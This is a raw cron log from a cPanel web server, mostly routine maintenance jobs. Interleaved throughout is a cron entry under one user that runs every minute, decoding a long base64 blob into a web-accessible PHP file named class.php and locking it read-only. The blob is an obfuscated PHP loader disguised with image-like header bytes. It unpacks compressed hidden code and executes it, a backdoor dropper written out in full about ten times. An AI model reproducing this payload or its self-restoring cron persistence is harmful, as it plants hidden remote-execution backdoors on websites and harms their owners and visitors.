Sep  8 13:15:01 server CROND[10691]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 13:15:01 server CROND[10687]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:16:01 server CROND[11623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:16:01 server CROND[11624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:16:01 server CROND[11625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:17:02 server CROND[12018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:17:02 server CROND[12020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:17:02 server CROND[12021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:18:01 server CROND[12476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:18:01 server CROND[12477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:18:01 server CROND[12478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:19:01 server CROND[12893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:19:01 server CROND[12892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:19:01 server CROND[12894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:20:01 server CROND[13289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:20:01 server CROND[13291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:20:01 server CROND[13292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:20:01 server CROND[13295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:20:01 server CROND[13299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:20:01 server CROND[13298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:20:01 server CROND[13297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:20:01 server CROND[13296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:20:01 server CROND[13300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:21:01 server CROND[14240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:21:01 server CROND[14241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:21:01 server CROND[14242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:22:01 server CROND[14618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:22:01 server CROND[14619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:22:01 server CROND[14620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:23:01 server CROND[15008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:23:01 server CROND[15009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:23:01 server CROND[15010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:24:01 server CROND[15391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:24:01 server CROND[15392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:24:01 server CROND[15393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:25:01 server CROND[15817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:25:01 server CROND[15819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:25:01 server CROND[15820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:25:01 server CROND[15823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:25:01 server CROND[15825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:25:01 server CROND[15826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:25:01 server CROND[15822]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:26:01 server CROND[16745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:26:01 server CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:26:01 server CROND[16746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:27:01 server CROND[17112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:27:01 server CROND[17113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:27:01 server CROND[17115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:27:01 server CROND[17114]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:28:01 server CROND[17492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
